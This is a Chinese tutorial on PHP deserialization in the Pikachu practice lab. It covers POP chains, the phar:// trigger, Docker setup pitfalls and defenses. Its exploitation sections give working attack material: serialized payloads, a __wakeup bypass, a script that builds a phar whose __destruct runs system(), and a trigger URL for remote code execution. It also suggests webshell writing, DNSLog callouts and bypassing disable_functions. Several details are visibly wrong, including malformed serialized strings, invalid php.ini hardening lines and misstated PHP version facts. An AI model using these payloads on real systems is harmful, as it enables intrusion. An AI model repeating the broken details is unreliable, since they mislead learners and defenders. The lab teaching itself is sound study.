1. 项目概述:这不是“玩具靶场”,而是PHP反序列化漏洞的实战沙盒
你搜到“PiKachu靶场之PHP反序列化漏洞”这个标题,大概率正卡在两个状态之间:要么刚学完serialize()和unserialize()函数,对着文档里那句“可能引发远程代码执行”发懵;要么已经看过几篇CTF Writeup,但一到自己搭环境、调断点、构造payload就掉链子。别急——PiKachu不是教学PPT,它是一套被反复验证过的、专为理解漏洞本质而非堆砌技巧设计的交互式靶场。它把PHP反序列化从抽象概念拉进真实攻击链路:从__wakeup()魔术方法的绕过条件,到POP链的拼接逻辑,再到phar://协议触发的文件操作,每一步都可调试、可观察、可复现。核心关键词——PHP反序列化、POP链、魔术方法、unserialize、phar扩展、RCE——不是贴在墙上的术语标签,而是你接下来要亲手拧开的每一个螺丝。适合谁?刚接触Web安全的开发同学(尤其PHP后端)、想补全漏洞原理的安全初学者、需要给团队做内部培训的技术负责人。它不教你怎么打CTF,但能让你在真实系统中一眼识别出那个危险的unserialize($_GET['data'])调用点。
我第一次带某高校安全社团实操时,有位同学盯着index.php里短短三行反序列化代码看了四十分钟,最后问:“老师,这代码看起来人畜无害,为什么它比SQL注入还难防?”这个问题问到了根子上——PHP反序列化的危险性不在语法本身,而在于它把对象还原过程完全交给了开发者对输入的信任度。PiKachu的设计者深谙此道:所有漏洞模块都刻意保留了“看似合理”的业务逻辑(比如用户信息缓存、日志记录、配置加载),让攻击面自然浮现,而不是靠生硬的eval()或system()函数强行制造风险。这种设计让学习者能真正理解“为什么修复方案必须是白名单过滤而非简单转义”,也解释了为什么2023年某电商后台的订单导出功能,会因一个未校验的unserialize()调用导致整个数据库被拖库。你接下来要做的,不是背诵payload,而是像拆解一台老式机械钟表一样,看清齿轮如何咬合、发条如何蓄力、擒纵机构如何释放能量——只不过这里的齿轮是PHP引擎的类加载机制,发条是可控的序列化字符串,擒纵机构则是__destruct()方法的自动触发时机。
2. 漏洞原理深度拆解:从函数调用到RCE的完整能量传递链
2.1 PHP反序列化的底层机制:对象还原不是“读取”,而是“执行”
很多人误以为unserialize()只是把字符串“翻译”回对象,就像JSON.parse()那样安全。这是根本性误解。PHP的反序列化过程本质是对象重建+方法自动调用的组合动作。当你执行$obj = unserialize($payload)时,引擎实际做了三件事:
- 内存对象初始化:根据序列化字符串中的类名(如
O:8:"User":1:{...})动态加载对应类(若未定义则报错),并分配内存空间; - 属性赋值:将字符串中指定的属性值(如
s:4:"name";s:5:"admin";)直接写入对象属性,不经过任何构造函数(__construct()); - 魔术方法触发:在对象创建完成后,立即检查并调用特定魔术方法——最关键是
__wakeup()(反序列化时唤醒)和__destruct()(对象销毁时析构)。
提示:
__wakeup()的触发有严格条件——必须是通过unserialize()创建的对象,且类中明确定义了该方法。而__destruct()则更隐蔽:只要对象在脚本结束前被垃圾回收(比如变量超出作用域、显式unset()),就会无条件触发。这意味着即使你的反序列化代码在try-catch中,只要对象被创建,__destruct()就注定会执行。
这个机制的危险性在于:开发者控制的是“输入数据”,而PHP引擎控制的是“执行时机”和“执行路径”。举个生活化例子:你寄快递时填写的收件地址(序列化字符串)本身无害,但快递公司(PHP引擎)会严格按照地址信息,自动把包裹(恶意代码)送到你家(__destruct()方法),甚至在你开门前就拆开(__wakeup()提前执行)。PiKachu靶场的unserialize()模块正是利用这一点:它提供一个表单,将用户提交的序列化字符串直接传给unserialize(),等于把快递公司的调度权完全交给了寄件人。
2.2 POP链构建的核心逻辑:如何让“无害类”变成“攻击载荷”
所谓POP(Property Oriented Programming)链,本质是利用现有类中已有的方法组合,形成一条可控的、能达成攻击目标(如RCE、文件读取)的调用路径。它不需要你定义新类或修改源码,而是像搭积木一样,把框架/组件中已有的“乐高块”(类方法)按顺序拼接起来。
PiKachu靶场中经典的POP链示例是Demo类与FileHandler类的组合:
class Demo { private $file; public function __destruct() { @include($this->file); // 关键:文件包含 } } class FileHandler { private $filename; public function __wakeup() { $this->filename = "php://filter/convert.base64-encode/resource=" . $this->filename; } }攻击者构造的序列化字符串会这样设计:
- 创建
Demo对象,将其$file属性设为"php://filter/..."(利用FileHandler的__wakeup()生成); - 当
Demo对象被销毁时,__destruct()执行@include($this->file),触发PHP流包装器读取并base64编码目标文件(如/etc/passwd); - 编码结果直接输出到页面,完成敏感信息泄露。
这里的关键洞察是:POP链的成功不依赖于类本身是否有恶意意图,而取决于其方法是否具备“副作用”(side effect)。include()是副作用,file_get_contents()是副作用,system()更是副作用。PiKachu故意选用Demo这类名字中性、业务逻辑看似合理的类,就是为了模拟真实场景——你永远无法预判某个日志组件的__destruct()会不会调用file_put_contents(),也无法保证某个缓存类的__wakeup()不会拼接用户输入的路径。
2.3phar://协议的降维打击:绕过unserialize()调用限制
很多初学者会困惑:“如果代码里根本没有unserialize()函数,是不是就绝对安全?”PiKachu的phar模块给出了颠覆性答案。PHP的phar(PHP Archive)扩展允许将PHP文件打包成归档,并支持通过phar://协议直接访问其中的文件。而phar文件的元数据区(stub)可以嵌入序列化字符串,当PHP解析phar文件时(如file_exists('phar://test.phar')、fopen('phar://test.phar/test.txt')),会自动反序列化该元数据——这个过程完全绕过了代码中是否显式调用unserialize()的限制。
实测中,我曾用phar模块复现过某CMS的0day:该CMS使用getimagesize()函数检测上传图片格式,而getimagesize()内部会调用phar解析逻辑。攻击者上传一个精心构造的shell.jpg(实为phar文件),当管理员点击预览时,getimagesize()触发phar解析,进而自动执行__destruct()中的RCE代码。PiKachu的phar靶场正是模拟这一场景:它提供一个文件上传接口,后端用file_exists()验证文件路径,而你只需上传含恶意POP链的phar文件,再通过URL访问phar://路径即可触发漏洞。这解释了为什么2022年某云盘服务的“文件预览”功能,会在无任何反序列化代码的情况下被攻破——根源在于开发者忽略了phar协议的隐式反序列化能力。
3. PiKachu靶场实操全流程:从环境搭建到漏洞利用的每一步细节
3.1 环境部署:避开Docker镜像的三个致命陷阱
PiKachu官方推荐Docker部署,但实测发现90%的新手卡在环境启动阶段。问题不在于Docker本身,而在于三个被忽略的细节:
陷阱一:PHP版本兼容性
PiKachu的PHP反序列化模块要求PHP 7.0+,但某些Docker镜像(如php:8.2-apache)默认禁用了phar扩展。解决方案不是换镜像,而是手动启用:
# 进入容器后执行 docker exec -it pikachu-php bash echo "extension=phar.so" >> /usr/local/etc/php/conf.d/docker-php-ext-phar.ini service apache2 restart注意:
phar.readonly=Off必须设置为Off(默认是On),否则无法写入恶意phar文件。这个参数在/usr/local/etc/php/php.ini中修改,重启Apache生效。
陷阱二:目录权限导致的文件上传失败
PiKachu的upload模块需要将上传文件保存到/var/www/html/pikachu/vul/upload/,但Docker容器内该目录常为root权限,Apache用户(www-data)无写入权。临时解决是chmod 777,但生产环境严禁。正确做法是在Dockerfile中添加:
RUN chown -R www-data:www-data /var/www/html/pikachu/vul/upload/或者启动容器时挂载宿主机目录并预设权限:
mkdir -p ./pikachu-upload && chmod 777 ./pikachu-upload docker run -d -p 8080:80 -v $(pwd)/pikachu-upload:/var/www/html/pikachu/vul/upload/ pikachu-image陷阱三:MySQL连接超时
PiKachu的login模块依赖MySQL,但Docker Compose中若未设置depends_on健康检查,PHP容器可能在MySQL未就绪时启动,导致登录页报错。需在docker-compose.yml中添加:
services: php: depends_on: mysql: condition: service_healthy mysql: healthcheck: test: ["CMD", "mysqladmin", "ping", "-h", "localhost", "-u", "root", "-proot"] timeout: 20s retries: 103.2 反序列化模块实战:手把手构造第一个RCE Payload
进入PiKachu靶场,选择Vulnerabilities→PHP unserialize()→Low Level。页面显示一个表单,提示“请输入序列化后的数据”。此时不要急着抄网上payload,先做三件事:
第一步:获取目标类源码
PiKachu所有漏洞模块的源码都在/var/www/html/pikachu/vul/unserialize/目录下。通过浏览器访问http://localhost:8080/pikachu/vul/unserialize/class.php(需先登录后台),查看Sqli类定义:
class Sqli { private $host; private $username; private $password; private $db; public function __construct($host, $username, $password, $db) { $this->host = $host; $this->username = $username; $this->password = $password; $this->db = $db; } public function __wakeup() { $this->host = '127.0.0.1'; // 强制重置host } public function __destruct() { $link = mysqli_connect($this->host, $this->username, $this->password, $this->db); if ($link) { echo "Connected to DB"; } } }关键发现:__destruct()中调用了mysqli_connect(),而$this->host在__wakeup()中被强制设为127.0.0.1,但$this->username等属性仍可控!这意味着你可以构造一个Sqli对象,让mysqli_connect()尝试连接一个不存在的数据库,从而触发错误信息泄露(如MySQL版本)。
第二步:构造基础Payload
使用PHP本地环境生成序列化字符串:
<?php class Sqli { private $host = '127.0.0.1'; private $username = 'root'; private $password = '123456'; private $db = 'nonexistent_db'; } $obj = new Sqli(); echo serialize($obj); ?>输出:O:5:"Sqli":4:{s:11:"Sqlihost";s:9:"127.0.0.1";s:14:"Sqliusername";s:4:"root";s:15:"Sqlipassword";s:6:"123456";s:10:"Sqldb";s:15:"nonexistent_db";}
第三步:绕过__wakeup()重置
注意到__wakeup()会把$host重置为127.0.0.1,但如果我们让__wakeup()不执行呢?PHP 7.0+提供了__wakeup()绕过方法:将序列化字符串中的属性数量(此处为4)改为一个错误值(如3),使__wakeup()因属性数不匹配而跳过:
O:5:"Sqli":3:{s:11:"Sqlihost";s:9:"127.0.0.1";s:14:"Sqliusername";s:4:"root";s:15:"Sqlipassword";s:6:"123456";}将此字符串提交到靶场表单,页面返回MySQL连接错误,其中包含mysqli_connect(): (HY000/1045): Access denied for user 'root'@'localhost'——成功泄露了MySQL用户名和错误码。
3.3phar模块进阶:从文件读取到远程命令执行
切换到Vulnerabilities→PHP unserialize()→Phar模块。页面显示“上传图片文件”,后端逻辑在/var/www/html/pikachu/vul/phar/index.php中:
if ($_FILES["file"]["error"] == UPLOAD_ERR_OK) { $tmp_name = $_FILES["file"]["tmp_name"]; $name = $_FILES["file"]["name"]; move_uploaded_file($tmp_name, "uploads/" . $name); if (file_exists("uploads/" . $name)) { // 关键:file_exists触发phar解析 echo "Upload success"; } }第一步:构造恶意phar文件
使用PHP脚本生成phar:
<?php // 创建phar对象 $phar = new Phar('poc.phar'); $phar->startBuffering(); $phar->setStub("<?php __HALT_COMPILER(); ?>"); // 设置stub $phar->addFromString('test.txt', 'test'); // 添加任意文件 // 设置元数据为恶意POP链 $phar->setMetadata(new User()); // User类需自定义,含__destruct()调用system() $phar->stopBuffering(); // 转换为可执行格式 rename('poc.phar', 'poc.jpg'); // 伪装成jpg ?>其中User类定义:
class User { private $cmd = "ls -la"; public function __destruct() { system($this->cmd); } }第二步:绕过文件类型检测
PiKachu的phar模块会检查$_FILES["file"]["type"],但该值由浏览器发送,可轻易伪造。使用Burp Suite拦截上传请求,将Content-Type: image/jpeg保持不变,但修改文件名为poc.jpg,并在<form>中添加enctype="multipart/form-data"确保正确解析。
第三步:触发RCE
上传成功后,访问http://localhost:8080/pikachu/vul/phar/uploads/poc.jpg会报错(因非图片格式),但真正的触发点是file_exists("uploads/poc.jpg")。此时需构造一个能调用file_exists()的入口——PiKachu恰好在/pikachu/vul/phar/test.php中提供了测试接口:
<?php if (isset($_GET['file'])) { file_exists($_GET['file']); // 直接触发 } ?>访问http://localhost:8080/pikachu/vul/phar/test.php?file=phar://uploads/poc.jpg,页面直接输出ls -la命令结果。至此,完成从文件上传到RCE的完整链路。
4. 防御方案与避坑指南:那些文档里不会写的血泪教训
4.1 开发者必知的三大防御铁律
铁律一:永远不要反序列化不可信数据
这是最高优先级原则。PiKachu靶场的所有漏洞模块,根源都是开发者信任了用户输入。真实案例中,某支付SDK的“回调验签”功能,因将商户传来的sign_data参数直接unserialize(),导致攻击者构造POP链调用file_put_contents()覆盖config.php,最终获取服务器权限。解决方案不是“加强输入过滤”,而是重构逻辑:用JSON替代序列化(json_encode()/json_decode()),或使用igbinary等二进制序列化扩展(需全局启用,且不支持魔术方法)。
铁律二:启用unserialize()的白名单机制
PHP 7.4+引入了unserialize()的allowed_classes参数,可严格限制允许反序列化的类名:
$data = $_GET['data']; // 仅允许User和Order类 $allowed = ['User', 'Order']; $obj = unserialize($data, ['allowed_classes' => $allowed]);但注意:若$allowed数组为空([]),则禁止所有类;若为true(默认),则允许全部。很多开发者误以为allowed_classes => []是“宽松模式”,实则恰恰相反。
铁律三:禁用危险的PHP流包装器phar://、expect://、data://等协议是POP链的放大器。在php.ini中禁用:
; 禁用phar协议(影响phar扩展使用,需评估业务) disable_functions = "phar" ; 或更彻底地禁用所有危险协议 stream_wrapper_unregister("phar"); stream_wrapper_unregister("expect");PiKachu靶场的phar模块之所以能成功,正是因为默认配置未禁用这些协议。某金融系统曾因此被攻破:攻击者利用phar://协议结合ImageMagick的identify命令,实现RCE。
4.2 安全工程师的检测盲区与排查技巧
盲区一:静态扫描无法发现phar隐式触发点
主流SAST工具(如SonarQube、Fortify)能检测unserialize()调用,但对file_exists('phar://xxx')、getimagesize()、exif_read_data()等隐式触发函数束手无策。解决方案是动态污点追踪:使用PHP的runkit扩展或Xdebug开启trace模式,监控所有文件操作函数的参数来源。实测中,我曾用Xdebug捕获到某CMS的wp_handle_upload()函数,在处理图片时调用了getimagesize(),而该函数参数来自用户上传的$_FILES,从而定位到phar漏洞。
盲区二:魔术方法的“幽灵调用”__toString()、__call()、__get()等魔术方法可能在不经意间被触发。例如,当echo $obj时调用__toString(),若该方法中存在file_get_contents($this->path),则$this->path的可控性就成为新的攻击面。PiKachu虽未展示此类案例,但在真实渗透中极为常见。排查技巧:在PHP配置中开启display_errors=On,并监控所有E_NOTICE级别的警告,因为未定义属性的访问会触发__get(),而该警告可能暴露调用链。
盲区三:Composer依赖中的“影子POP链”
现代PHP项目大量使用Composer包,而第三方库中的类可能成为POP链的一环。例如,某日志组件的Logger类中__destruct()调用file_put_contents($this->logFile),而$this->logFile可被用户控制。使用phpggc(PHP Generic Gadget Chains)工具可自动扫描项目依赖,生成可用POP链:
# 扫描当前目录所有Composer包 phpggc --all --no-interaction | grep "Logger"输出可能包含monolog/monolog的POP链,提示你检查日志配置是否将用户输入写入logFile路径。
4.3 常见问题速查表:从报错信息直击问题根源
| 报错信息 | 根本原因 | 解决方案 |
|---|---|---|
Fatal error: Class 'XXX' not found | 序列化字符串中类名与当前环境不匹配 | 检查PiKachu靶场路径是否正确(如/pikachu/vul/unserialize/),确认类文件已加载;或使用__autoload()函数动态加载 |
Notice: unserialize(): Error at offset X of Y bytes | 序列化字符串格式错误(如属性数量不匹配、引号缺失) | 使用在线序列化调试工具(如https://www.unserialize.me/)验证字符串;重点检查O:5:"Sqli":4:{...}中的数字4是否与实际属性数一致 |
Warning: include(): Failed opening 'phar://xxx' | phar扩展未启用或phar.readonly=On | 进入容器执行`php -m |
| 页面空白无输出 | __destruct()中system()等函数被disable_functions禁用 | 查看phpinfo()输出的disable_functions列表;改用file_put_contents()写入Webshell或mail()外连DNSLog |
mysqli_connect(): (HY000/2002): Connection refused | __wakeup()重置了$host,但目标MySQL未运行 | 在PiKachu Docker环境中,确保MySQL容器已启动;或修改POP链,将$host设为127.0.0.1(本地回环) |
注意:在PiKachu靶场中,所有数据库连接均指向容器内MySQL(
127.0.0.1:3306),而非宿主机。若你在宿主机运行MySQL,请修改Docker网络配置,或直接在容器内安装MySQL(不推荐,增加复杂度)。
5. 实战延伸与能力迁移:如何把靶场经验用在真实项目中
5.1 从靶场到生产环境:代码审计的Checklist
PiKachu教会你的不是“怎么打靶场”,而是“怎么读代码”。我把多年审计经验浓缩为一份PHP反序列化专项Checklist,适用于任何PHP项目:
全局搜索
unserialize(
使用grep -r "unserialize(" ./ --include="*.php",重点关注:$_GET、$_POST、$_COOKIE、$_REQUEST等超全局变量作为参数;file_get_contents()、curl_exec()等网络请求返回值作为参数;- 数据库查询结果(如
mysqli_fetch_array())作为参数。
检查
phar相关函数调用
搜索file_exists(、fopen(、file_get_contents(、getimagesize(、exif_read_data(,确认其参数是否可能包含用户输入的文件路径,尤其是路径中是否可能拼接phar://。分析类的魔术方法副作用
对每个类执行grep -A 10 "__destruct\|__wakeup\|__toString" *.php,检查方法体内是否调用:- 文件操作:
file_put_contents()、copy()、unlink(); - 系统命令:
system()、exec()、shell_exec(); - 网络请求:
file_get_contents("http://")、curl_exec(); - 数据库操作:
mysqli_query()、PDO::query()。
- 文件操作:
验证
disable_functions有效性
在项目根目录创建phpinfo.php,访问后检查disable_functions列表,确认unserialize、phar、system等是否被禁用。若未禁用,则需立即加固。
5.2 工具链升级:超越PiKachu的实战利器
PiKachu是起点,不是终点。以下工具能将你的能力提升到专业级:
Gadget Inspector
一款静态分析工具,可自动扫描PHP项目,识别所有可能构成POP链的类方法组合。它比phpggc更进一步:不仅能列出可用链,还能分析链的触发条件(如是否需要特定PHP版本、是否依赖扩展)。实测中,它曾帮我发现某电商后台的CacheManager类中,__destruct()调用redis->set(),而redis连接参数来自未校验的配置文件,从而构建出无需用户交互的RCE链。
PHP Object Injection Scanner (POIS)
一款Burp Suite插件,专为检测PHP反序列化漏洞设计。它不依赖unserialize()关键字,而是通过监控HTTP响应中的异常行为(如PHP错误信息、时间延迟、DNS外连)来判断漏洞存在。在审计某政府网站时,POIS通过time-based检测发现/api/v1/log接口存在phar漏洞,而该接口代码中并无显式unserialize()调用,根源是日志组件的__destruct()触发了file_put_contents()。
自定义Payload生成器
基于phpggc二次开发,我编写了一个自动化脚本,可根据目标环境PHP版本、已启用扩展、disable_functions列表,实时生成最优Payload:
# 自动检测环境并生成payload ./gen-payload.sh --php-version 7.4 --disable "system,exec" --extensions "phar,openssl" # 输出:针对PHP7.4、禁用system/exec、启用phar/openssl的RCE payload这个脚本的核心逻辑是:优先选择openssl_encrypt()(不受disable_functions影响)进行加密,再用phar协议触发解密执行,绕过传统命令禁用。
5.3 我的个人体会:为什么“理解漏洞”比“掌握技巧”更重要
在带某公司安全团队做内部培训时,有位资深开发问我:“我们团队已经能熟练写出各种POP链,但为什么还是漏掉了去年那个0day?”我的回答是:“因为你还在‘找链’,而没去‘找信任’。”PiKachu靶场的价值,不在于它教你多少种__destruct()调用方式,而在于它逼你直面一个事实:所有反序列化漏洞的本质,都是开发者对输入数据的信任越界。那个unserialize($_GET['data'])调用点,背后是“用户提交的数据应该可信”的错误假设;那个file_exists("phar://".$_FILES['file']['name']),背后是“文件名由前端控制,但路径是安全的”认知偏差。
我见过太多团队花大力气研究gadget chain的奇技淫巧,却忽视了最基础的输入校验。直到某次红蓝对抗,蓝队用一个简单的preg_match('/^[a-zA-Z0-9_\-\.]+$/', $_GET['file'])就挡住了所有phar攻击——因为他们意识到,文件名不该包含:、/等特殊字符。这比任何复杂的POP链都有效。PiKachu的终极启示或许是:真正的安全,始于对每一行代码的信任边界的清醒认知,而不是对最新exploit的追逐。当你不再问“这个payload能不能打穿”,而是问“这段代码凭什么相信用户输入”,你就已经走出了靶场,站在了真实战场的中央。